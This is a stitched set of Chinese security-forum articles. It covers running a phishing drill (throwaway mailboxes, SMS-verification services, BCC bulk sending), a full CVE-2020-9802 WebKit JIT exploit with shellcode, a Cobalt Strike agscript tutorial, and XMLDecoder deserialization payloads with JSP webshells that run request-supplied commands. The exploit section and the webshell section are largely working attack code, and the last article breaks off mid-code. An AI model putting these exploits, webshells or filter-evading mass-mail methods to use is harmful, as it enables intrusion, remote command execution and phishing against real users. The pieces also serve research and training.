#### 获取钓鱼页面中的账号密码
1. 钓鱼演练最好能够确认用户的密码是正确的，理论上应该调用sso接口查询出该账号密码是否正确，这样输出的用户名，密码是准确的业务方不会挑战数据准确性。 密码也不做保留记录只记录账号和是否是正确密码即可。
2. 如果没有sso记录，就在fake页面中password获取input表单数据的地方用md5加密密码，这样保证不会看到大量的用户明文密码。避免一些不好的影响，且项目前也把代码给一些业务方去review保证整个演练流程中不存在存储用户账密行为。
### 批量发送邮件
#### 邮箱发送的准备
1. outlook首选，垃圾过滤机制这块白名单会好一些。注册的话，可以用10分钟邮箱注册，在利用接码平台认证邮箱，outlook改昵称方式来混淆邮箱地址。
2. henggeFish中用的大量的163邮箱，去某些交易软件搜索关键词，163的邮箱呢在配置SMTP的时候需要手机认证，目前是1个手机号认证15个邮箱。脚本是1个邮箱发10个地址。再根据演练人数就能计算需要用多少个邮箱账号了。 SMTP邮箱开启后会有个临时密码，这个密码才是发送邮件脚本使用的。
3. 密送方式发送，用邮箱发送邮件的时候选择密送方式发送，这样收件人无法查看到这封邮件同时还发送给谁。但是小心会因为数据量大被ban。切记不要随便找一个邮件组就发送邮件，导致超出演练范围的人收到邮件。
4. 所有工作准备好以后整体的去测试下全流程。
### 培训
培训主要是三方面
1. 钓鱼社工宣贯，可以把相关的真实数据来做案例。
2. 有针对性部门的安全宣贯，对研发偏向技术，对其他团队偏向于安全意识。
3. 安全部门的职能介绍与相关联系方式，通过演练告诉同事如何应对该类场景，识别钓鱼，快速上报。 | 社区文章 |
## 环境搭建
git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git < ./patch.diff
Tools/Scripts/build-webkit --jsc-only --debug
启动运行：
./jsc --useConcurrentJIT=false ./exp.js
### 基础知识
jsc 优化的四个阶段：
在jsc中会对以下的 JS 代码进行优化：
let c = a + b;
let d = a + b;
优化成：
let c = a + b;
let d = c;
这种优化称为 Common Subexpression Elimination (CSE)，公共子表达式消除，但是像下面这种：
let c = o.a;
f();
let d = o.a;
就无法进行优化消除，直接使d=c，因为在调用f()函数的过程中可能会改变o.a的值。
在JSC中，对某项操作是否进行CSE是在DFGClobberize中实现的。
## 漏洞分析
漏洞点在于：
case ArithNegate:
if (node->child1().useKind() == Int32Use || ...)
def(PureValue(node)); // <- only the input matters, not the ArithMode
ArithNegate 操作中没有使用ArithMode，这可能导致 CSE 可以用 unchecked的 ArithNegate 替换
checked的ArithNegate，对于ArithNegate一个32位整数求反的情况下，整数溢出只能在一种情况下发生，即32位有符号整数的最小值INT_MIN：0x80000000（-2147483648），取反后为2147483648，然而32位有符号整数的最大值为0x7fffffff，不能表示2147483648，导致溢出。溢出后需要做的就是绕过checked
的溢出检查，例如将操作的checked模式转成unchecked模式。
最终要构造以下效果：
v = ArithNeg(unchecked) n
i = ArithNeg(checked) n
然后通过CSE 优化转化成：
v = ArithNeg(unchecked) n
i = v
（1）所以首先我们要得到一个`v = ArithNeg(unchecked) n`
ArithNegate 用于对整数取反，然而JavaScript中很多数据为浮点数类型，所以需要先将其转成整数：
n = n|0; // n will be an integer value now
此时，n为一个32位的整数，之后要构造一个unchecked ArithNegate操作
n = n|0; // 【1】
let v = (-n)|0; // 【2】
【2】在DFGFixupPhase处理流程中，对n取反会被转化成unchecked
ArithNegate操作。在对取反的值进行or操作时，编译器会消除溢出的检查，因为即使是对INT_MIN：0x80000000
（-2147483648）取反后进行or操作，得到的值也是0x80000000，v的值不会溢出，所以没必要进行溢出检查。
js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648
（2）接下来要构造`i = ArithNeg(checked) n`
通过ArithAbs操作实现，只有当传入的n为负数时，才会将ArithAbs转化成ArithNegate操作进行检查，因为正数的绝对值是它本身，不会造成溢出，也不用取反。因此完成以下的构造：
n = n|0;
if (n < 0) {
// Compiler knows that n will be a negative integer here
let v = (-n)|0;
let i = Math.abs(n);
}
Math.abs会调用到ArithAbs 操作，之后 IntegerRangeOptimization将
ArithAbs转换为一个checked的ArithNegate（这里要进行检查，是因为
INT_MIN：-2147483648取绝对值后变成2147483648会造成溢出）。此时v 和 i 的值被认为是相同的，都是ArithNeg
n，只不过模式不同，但CSE优化会无视模式不同，直接当成同一个值处理。
（3）准备条件已经完成，最后通过循环调用，触发CSE优化，转化成：
v = ArithNeg(unchecked) n
i = v
综上所述，poc如下：
function hax(arr, n) {
n = n|0;
if (n < 0) {
let v = (-n)|0;
let idx = Math.abs(n);
if (idx < arr.length) {
arr[idx];
}
}
}
触发漏洞前，IntegerRangeOptimization 在进入`idx < arr.length` 时将idx标志为恒大于等于0
且小于数组长度，此时传入的n为负数，idx=-n，通过循环训练，JIT会认为idx极大可能落在数组内，预测下一次访问也在数组内，从而消除数组的越界访问检查。
而触发漏洞，进行CSE优化时，传入的n为-2147483648，idx=v=-2147483648，依然为负数，小于数组长度，进入判断，但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648]，造成crash。
后面要做的就是将idx从-2147483648 转化成任意数，越界读写后面对象的内容。修改poc如下：
function Foo(arr, n)
{
n = n | 0;
if(n < 0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if(idx < arr.length) {
if(idx & 0x80000000) { // 输入值为负时才能进行减法操作
idx += -0x7ffffffd; // idx = 3;
}
if(idx > 0) { // 由于前面的减法，IntegerRangeOptimization无法确定idx是否恒大于等于0，所以要加判断
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337);
}
}
}
}
通过`idx-0x7ffffffd` 使idx=3，因为此时JIT认为idx恒为正数，减去0x7ffffffd
并不会造成溢出，所以消除了ArithAdd的检查，所以从进入`idx < arr.length`
条件判断到越界写操作，一路的检查都被消除了，造成了OOB漏洞。
## 漏洞利用
### 构造addrof和fakeobj原语
根据poc可以越界改写后面浮点数数组的长度，构造一个可以越界读写的数组：
布置三个数组，地址如下：
[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8
调试观察它们butterfly的布局：
可以看到通过越界读写arr[3]，可以将oobArr数组的length修改成0x1337，之后通过oobArr可以再一次越界读写，通过修改oobArr[4]，可以直接修改objArr[0]的内容，由于oobArr为浮点数数组，objArr为对象数组，通过类型转化可以完成addrof和fakeobj
原语：
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
function AddrOf(obj)
{
objArr[0] = obj;
return f2i(oobArr[4]);
}
function FakeObj(addr)
{
addr = i2f(addr);
oobArr[4] = addr;
return objArr[0];
}
后面的操作就比较常规了：
（1）绕过StructureID随机化
（2）构造任意地址读写
（3）查找wasm rwx区域，写入shellcode，完成利用
### 绕过StructureID随机化
当加载JSArray的元素时，解释器中有一个代码路径，它永远不会访问StructureID:
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
...;
if (subscript.isUInt32()) {
uint32_t i = subscript.asUInt32();
if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i); // 【1】
getIndexQuickly直接从butterfly加载元素，而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length：
bool canGetIndexQuickly(unsigned i) const {
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...;
case ALL_CONTIGUOUS_INDEXING_TYPES:
return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}
我们可以伪造一个JSArray对象，填充无效的StructureID等头部字段（因为getByVal路径上不验证，所以不会报错），然后将butterfly填充为要泄露的目标对象地址，就可以将目标对象的结构当成数据输出。
泄露StructureID的代码如下：
// leak entropy by getByVal
function LeakStructureID(obj)
{
let container = {
cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部，包括StructureID等字段
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];// 访问元素会调用getByVal
//此时fakeObj[0]为Legitimate JSArray的JSCell，fakeObj[1]为Legitimate JSArray的butterfly
// repair the fakeObj's jscell
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
内存布局如下：
// container 对象：
Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437
pwndbg> x/4gx 0x7fe0cc78c000
0x7fe0cc78c000: 0x010018000000d0bd 0x0000000000000000
0x7fe0cc78c010: 0x0108230700000000 0x00007fe10cb7cae8 // <---伪造的Butterfly，覆盖成目标对象地址
// 伪造的JSCell
pwndbg> x/gx 0x00007fe10cb7cae8
0x7fe10cb7cae8: 0x010823070000f1aa // <---- StructureID被当作数据输出
### 构造任意地址读写
泄露StructureID后，我们可以仿造泄露StructureID方法一那样构造一个JSArray，只不过现在StructureID填充的是有效的，可以根据Butterfly进行读写。
（1）首先伪造一个driver object，类型为对象类型数组，将driver object 的butterfly 指向victim
object，此时访问driver[1]就可以访问victim
object的butterfly，之后申请一个ArrayWithDouble（浮点数类型）的数组unboxed，通过driver[1] = unboxed
将victim object的butterfly填充为unboxed对象地址，同理此时访问victim[1]就可以访问unboxed object
的butterfly。
这一步我们可以泄露unboxed object的butterfly内容。代码如下：
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
（2）申请一个ArrayWithContiguous（对象类型）的数组boxed，和第一步一样，将driver[1]覆盖成boxed
object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object
butterfly内容填充到boxed object的butterfly，这样两个对象操作的就是同一个butterfly，可以方便构造新的addrof 和
fakeobj原语。
代码如下：
var boxed = [{}];
driver[1] = boxed;
victim[1] = sharedButterfly;
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
（3）将driver object的类型修改成浮点型数组类型，将victim object 的butterfly
修改成target_addr+0x10，因为butterfly是指向length和elem0中间，而属性1prop位于butterfly-0x10的位置，访问victim.prop相当于访问butterfly-0x10
=（target_addr+0x10）-0x10=target_addr。
所以通过读写victim.prop就可以实现任意地址的读写，代码如下：
function Read64(addr) {
driver[1] = i2f(addr+0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr+0x10);
victim.prop = i2f(val);
}
### 任意代码执行
和v8的利用相似，通过任意读查找wasm_function中rwx区域，通过任意写将shellcode写入该区域即可执行任意代码。
完成exp代码如下（适配debug版本）：
const MAX_ITERATIONS = 0xc0000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
function f2i(val)
{
f64[0] = val;
return u32[1] * 0x100000000 + u32[0];
}
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
function i2obj(val)
{
return i2f(val-0x02000000000000);
}
function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
function MakeJitCompiledFunction() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
var jitFunc = MakeJitCompiledFunction();
function Foo(arr, n)
{
n = n | 0;
if(n<0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if(idx < arr.length) {
if(idx & 0x80000000) {
idx += -0x7ffffffd; // idx = 3;
}
if(idx>0) {
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337);
}
}
}
}
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
for(let i=0; i<MAX_ITERATIONS; i++) {
let tmp = -2;
Foo(arr, tmp);
}
Foo(arr, -2147483648);
print("[+] now oob arr's length: " + hex(oobArr.length));
function AddrOf(obj)
{
objArr[0] = obj;
return f2i(oobArr[4]);
}
function FakeObj(addr)
{
addr = i2f(addr);
oobArr[4] = addr;
return objArr[0];
}
// leak entropy by getByVal
function LeakStructureID(obj)
{
let container = {
cellHeader: i2obj(0x0108200700000000),
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];
// repair the fakeObj's jscell
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
var arrLeak = new Array(noCoW, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
let structureID = LeakStructureID(arrLeak);
print("[+] leak structureID: "+hex(structureID));
pad = [{}, {}, {}];
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// ArrayWithContiguous
var boxed = [{}];
// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
driver[1] = boxed;
victim[1] = sharedButterfly;
// set driver's cell header to double array
u32[0] = structureID;
u32[1] = 0x01082307-0x20000;
container.cellHeader = f64[0];
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
function Read64(addr) {
driver[1] = i2f(addr+0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr+0x10);
victim.prop = i2f(val);
}
function ByteToDwordArray(payload)
{
let sc = []
let tmp = 0;
let len = Math.ceil(payload.length/6)
for (let i = 0; i < len; i += 1) {
tmp = 0;
pow = 1;
for(let j=0; j<6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0;
}
pow = j==0 ? 1 : 256 * pow;
tmp += c * pow;
}
tmp += 0xc000000000000;
sc.push(tmp);
}
return sc;
}
function ArbitraryWrite(addr, payload)
{
let sc = ByteToDwordArray(payload);
for(let i=0; i<sc.length; i++) {
Write64(addr+i*6, sc[i]);
}
}
var jitFuncAddr = NewAddrOf(jitFunc);
print("[+] jit function addr: "+hex(jitFuncAddr));
var executableBaseAddr = Read64(jitFuncAddr + 0x18);
var jitCodeAddr = Read64(executableBaseAddr + 0x8);
print("[+] jit code addr: "+hex(jitCodeAddr));
var rwxAddr = Read64(jitCodeAddr + 0x20);
print("[+] rwx addr: "+hex(rwxAddr));
ArbitraryWrite(rwxAddr, shellcode);
print("[+] trigger shellcode");
jitFunc();
执行效果：
## 补丁
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
添加arithMode，使CSE重新检查ArithNegate操作，判断是unchecked 还是checked
模式，并进入不同的处理，而不能直接互相替换。
## 参考链接
<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html>
<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html>
<https://www.anquanke.com/post/id/223494>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=2020#c4>
<https://bugs.webkit.org/show_bug.cgi?id=209093>
<https://github.com/ray-cp/browser_pwn/tree/master/jsc_pwn/cve-2020-9802>
<https://github.com/De4dCr0w/Browser-pwn/tree/master/Vulnerability%20analyze/CVE-2020-9802-WebKit%20JIT优化漏洞> | 社区文章 |
翻译+实践
原文地址：
https://www.cobaltstrike.com/agscript-script/index.html
## 0x01 简介
### 什么是`agscript`?
(`agscript`为Aggressor Script的简写，直译攻击者脚本通篇读起来怪怪的，故保留。)
`agscript`是`CobaltStrike
3.0`之后版本中内置的脚本语言，利用`Aggresor`编写脚本可轻松地武装您的`CobaltStrike`客户端。
#### 背景
`agscript`是`Armitage`的开源脚本引擎`Cortana`的精神继承者。 因为`DARPA`的`Cyber Fast
Track`计划才使`Cortana`成了可能。
`Cortana`支持开发者通过`Armitage`的团队服务器扩展`Armitage`并控制`Metasploit Framework`及其功能。
当然，`Cobalt Strike 3.0`并不是以`Armitage`为基础的重写的。 这次大弧度的版本升级是为了重新审视`Cobalt
Strike`，并围绕`Cobalt Strike`的功能进行重构。 产物就是`agscript`的诞生。
`agscript`是一种简单脚本语言，主要用于红队编写针对肉鸡的攻击脚本。
它有两个作用，一是可以用来对自己的肉鸡做持久性控制，二是可以用来扩展或修改`Cobalt Strike`客户端以满足您的个性化需求。
#### 现状
`agscript`是以`Cobalt Strike 3.0`为基础的。 `Cobalt Strike
3.0`中绝大部分菜单/按钮事件都是由`agscript`引擎支撑。 `Strategic Cyber LLC`尚未为`Cobalt
Strike`的大多数功能写`API`，也就是说，`agscript`目前仍处于起步阶段。
在未来，我们也期待看到`agscript`的发展壮大。这份文档也会随着时间的推移而变动。
### 如何加载脚本?
`agscript`内置于`Cobalt Strike` 客户端， 如果需要长期使用`agscript`, 请移步`Cobalt Strike`客户端 ->
`Script Manager and press Load`功能。
### 脚本控制台
`Cobalt Strike`提供了交互式的脚本控制台。 通过控制台可跟踪，配置，调试以及管理脚本。可以通过`View`\- > `Script
Console`获得进入`agscript`控制台。
基础命令：
命令 | 参数 | 作用
---|---|---
? | " _foo_ " 即 "foobar" | 测试Sleep predicate并打印结果
e | println("foo"); | 测试Sleep statement
help | - | 列出所有命令
load | /path/to/script.cna | 加载脚本
ls | - | 列出已加载的脚本
proff | script.cna | 禁用脚本的Sleep Profiler
profile | script.cna | 转储脚本的性能统计信息
pron | script.cna | 启用脚本的Sleep Profiler
reload | script.cna | 重新加载脚本
troff | script.cna | 禁用脚本的功能跟踪
tron | script.cna | 启用脚本的功能跟踪
unload | script.cna | 卸载脚本
x | 2 + 2 | 执行表达式并返回结果
### 命令行使用Cobalt Strike
您也许会希望在在没有GUI的情况下启动`Cobalt Strike`，客户端压缩包中的`agscript`这个脚本文件能够满足您的需求，连接命令：
./agscript [host] [port] [user] [password]
上述命令可以使您快捷的连接到团队的服务器，当然，如果您希望加载`agscript`脚本还可以这样写参数：
./agscript [host] [port] [user] [password] [/path/to/script.cna]
上述命令可以连接团队服务器并运行您的脚本，下面给出一段demo代码：
on ready {
println("Hello World! I am synchronized!");
closeClient();
}
### Sleep快速上手
`agscript`是基于`Raphael Mudge`的`Sleep`语言的二次开发的。原手册见：
http://sleep.dashnine.org/manual
(译者注:Sleep是一种基于java开发的脚本语言)
`Sleep`能做的`agscript`都能做，下面是一些注意事项：
`Sleep`的语法，运算符甚至俚语都与`Perl`极其类似,简单说一个他们的区别,`Sleep`需要的语句之间需要有空格，以下代码无效：
$x=1+2; # this will not parse!!
正确的语法是这样的：
$x = 1 + 2;
Sleep的变量有标量，字符串，各自类型的数字，Java对象引用，函数，数组以及字典等。 以下是Sleep中的常见的几种变量：
$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four");
$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
使用`@`和`％`函数即可创建数组和字典，数组和字典不仅可以引用其他数组和字典，还可以可以引用自己。
`Sleep`的注释以`＃`开头，直到结束。
`Sleep`会插入双引号的字符串，这意味着以\$符号开头的任何以空格分隔的标记都将替换为其值。 特殊变量`$+`将插字符串与另一个值连接起来。
println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
运行结果为：
$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and
$x joined with $y is: Hello World3
这儿有一个和`println`类似的函数叫`warn`，不同的是`warn`输出的内容中包含了当前代码的文件名和行数，对于开发者来说，调试定位错误特别方便。
使用sub字符即可声明函数，传给函数的参数标记为`$1`,`$2`,一直到`$n`。函数可以接受无数个参数。
变量`@_`是一个包含所有参数的数组，`$1`，`$2`等变量的更改将改变`@_`的内容。
sub addTwoValues {
println($1 + $2);
}
addTwoValues("3", 55.0);
运行结果：
58.0
在Sleep语法中，函数是任何其他对象的首选类型，下面语法您可以会常见到：
$addf = &addTwoValues;
`$addf`变量引用了`&addTwoValues`函数，调用并传参可以这样写：
[$addf : "3", 55.0];
这括号的表示方法还可用于操作Java对象，需要了解更多建议您阅读上面提到的Sleep手册，以下语句是等效的：
[$addf : "3", 55.0];
[&addTwoValues : "3", 55.0];
[{ println($1 + $2); } : "3", 55.0];
addTwoValues("3", 55.0);
Sleep有三变量范围：全局变量，特殊变量，本地变量。Sleep手册中的介绍更为详细一些，这里不做赘述。 示例中看到`local（'$x $y
$z'）`中的`$x`，`$y`和`$z`就是当前函数的本地变量，并且当函数返回时它们的值将重置。
更多Sleep相关的语法结构请参考官方手册。
### 交互式操作
`agscript`显示输出同样使用了`Sleep`的`&println`, `&printAll`, `&writeb`,
以及`&warn`这四个函数，这些函数均可在控制台输出内容。
大多数语言都可以注册快捷命令，`agscript`也不例外，使用`command`即可创建命令：
command foo {
println("Hello $1");
}
这段代码将会注册命令foo，脚本控制台会自动解析命令的参数，并按空格将它们拆分为参数，$1是第一个参数，$2是第二个参数，依此类推。用户可以使用“双引号”来创建带空格的参数。
如果这种解析对您可能会对输入执行造成破坏性的操作，请使用$0访问传递给命令的原始文本。
### 控制台文本颜色
如果你想给`Cobalt Strike`的控制台添加一些色彩，通过`\c`，`\U`和`\o`转义即可告诉`Cobalt Strike`如何格式化文本。
值得提醒的是这些转义仅在双引号字符串内有效。
`\cX`就是告诉`Cobalt Strike`你想输出什么颜色，X是颜色的值：
`\U`是告诉控制台添加下划线，`\o`则是重置这些花里胡哨的东西。
## 0x02 Cobalt Strike
### Cobalt Strike客户端
`agscript`引擎是糅合到`Cobalt Strike`的功能之一，`Cobalt
Strike`的绝大部分对话框和功能都是以独立模块的形式编写的，并面向agscript引擎开放了一些接口。
内置的脚本[default.cna](https://www.cobaltstrike.com/aggressor-script/default.cna)就定义了工具栏的按钮，弹出的菜单等等。
本章将向您展示这些功能的工作流程，并使您能够根据需要打造自己的`Cobalt Strike`客户端。
### 快捷键绑定
使用bind即可快速绑定关键字，这里加上我们要按Ctrl+H快捷输出一个Hello Word该怎么写？看代码：
bind Ctrl+H {
show_message("Hello World!");
}
快捷键可以是任何ASCII字符或特殊键，快捷方式可能会应用一个或多个修饰符，修饰符修饰符仅为以下几个特定按键：Ctrl，Shift，Alt，Meta。脚本可以指定修饰符+键。
### 弹出菜单
使用agscript可以添加或是重新定义CoblatStrike菜单，popup这个关键字即为Hook弹出菜单的语句。
看一个添加菜档的demo代码：
popup help {
item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });
item("&Support", { url_open("https://www.cobaltstrike.com/support"); });
item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts?license=" . licenseKey()); });
separator();
item("&System Information", { openSystemInformationDialog(); });
separator();
item("&About", { openAboutDialog(); });
}
如上图所示，脚本新添件并定义了多个按钮事件，点击机制执行对应代码。
再看看如何添加子菜单：
popup pgraph {
menu "&Layout" {
item "&Circle" { graph_layout($1, "circle"); }
item "&Stack" { graph_layout($1, "stack"); }
menu "&Tree" {
item "&Bottom" { graph_layout($1, "tree-bottom"); }
item "&Left" { graph_layout($1, "tree-left"); }
item "&Right" { graph_layout($1, "tree-right"); }
item "&Top" { graph_layout($1, "tree-top"); }
}
separator();
item "&None" { graph_layout($1, "none"); }
}
}
如果你想覆盖已存在的菜单，使用＆popup_clear函数清除其他已注册的菜单项，并代码新定义的菜单弹出选项。
### 自定义输出
agscript中的set关键字定义了如何格式化事件并将其输出呈现给客户端。 以下是set关键字的demo：
set EVENT_SBAR_LEFT {
return "[" . tstamp(ticks()) . "] " . mynick();
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}
上面的代码定义了Cobalt Strike的事件日志（View -> Event
Log）中状态栏的内容，此状态栏的左侧显示当前时间和您的昵称，右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间。
Cobalt Strike中默认的各种设置都可以通过统一的方法来修改覆盖。
### 事件管理
使用on这个关键字可以为事件定义处理程序，当Cobalt Strike连接到团队服务器并准备代表您行动时，就绪事件将触发。demo：
on ready {
show_message("Ready for action!");
}
使用* meta-event可查看再Cobalt Strike中发生的所有事件。
on * {
local('$handle $event $args');
$event = shift(@_);
$args = join(" ", @_);
$handle = openf(">>eventspy.txt");
writeb($handle, "[ $+ $event $+ ] $args");
closef($handle);
} | 社区文章 |
# XMLDecoder反序列化漏洞底层扩展与WebShell
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## XMLDecoder反序列化漏洞底层
[参考](https://www.freebuf.com/articles/network/247331.html)的文章已经分析的非常详细了，这里我主要是就是一下最后的执行是怎么样的。也就是Expression类的使用
import java.beans.Expression;
public class test {
public static void main(String[] args)throws Exception {
Parameter();//有参数
NoParameter();//无参数
}
public static void Parameter() throws Exception{
Object var3 = new ProcessBuilder();
String var4 = "command";
String[] strings = new String[]{"calc"};
Object[] var2 = new Object[]{strings};
Expression var5 = new Expression(var3, var4, var2);
Object value = var5.getValue();//获得参数的类
String var1 = "start";
Object[] var6 = new Object[]{};
Expression expression = new Expression(value, var1, var6);//执行start方法
expression.getValue();
// 为什么不能执行？因为class.newInstance只能调用无参构造函数而ProcessBuilder没有无参数构造函数。
// Class<?> aClass = value.getClass();
// Object o = aClass.newInstance();
// Method start = aClass.getMethod("start");
// start.invoke(o);
}
public static void NoParameter(){
String[] strings = new String[]{"cmd.exe","/c","calc"};
Object var3 = new ProcessBuilder(strings);
String var4 = "start";
Object[] var2 = new Object[]{};
Expression var5 = new Expression(var3, var4, var2);
try {
var5.getValue();
} catch (Exception e) {
e.printStackTrace();
}
}
}
并且通过测试可以发现Expression的使用，给出下面的例子。
public class cmd {
public void Noparameter(){
System.out.println("无参数调用....");
}
public void Parameter(Object[] obj){
System.out.println("有参数调用....");
}
}
import java.beans.Expression;
public class test1 {
public static void main(String[] args)throws Exception {
Object var3 = new cmd();
String var4 = "Parameter";//Noparameter
Object[] var2 = new Object[]{"233333"};
var2 = new Object[]{var2};
var2 = new Object[]{};
Expression var5 = new Expression(var3, var4, var2);
var5.getValue();
}
}
并且给出了一些exp。
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start">
</void>
</object>
</java>
**通过实体编码绕过**
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.io.PrintWriter">
<string>D:\shell.jsp</string>
<void method="println">
<string>
webshell
</string>
</void>
<void method="close"/>
</object>
</java>
想了一下Expression类，底层是通过反射执行的，那我们能不能制作webshell？当然可以
## WebShell
### Expression
package shell.Expression;
import java.beans.Expression;
public class test {
public static void main(String[] args) {
String payload ="calc";
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
try {
expression.getValue();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面是java代码，执行的原理是反射在getValue方法中可以清楚的看到，要制作webshell就需要jsp代码。
<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
String payload =request.getParameter("cmd");
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
expression.getValue();
%>
介绍到这里又突然想到了其他表达式类的执行。
### ScriptEngineManager
通过ScriptEngineManager这个类可以实现Java跟JS的相互调用，虽然Java自己没有eval函数，但是ScriptEngineManager有eval函数，并且可以直接调用Java对象，也就相当于间接实现了Java的eval功能。
package shell.ScriptEngineManager;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class test {
public static void main(String[] args) throws Exception{
String test = "print('hello word!!');";
String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";
String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";
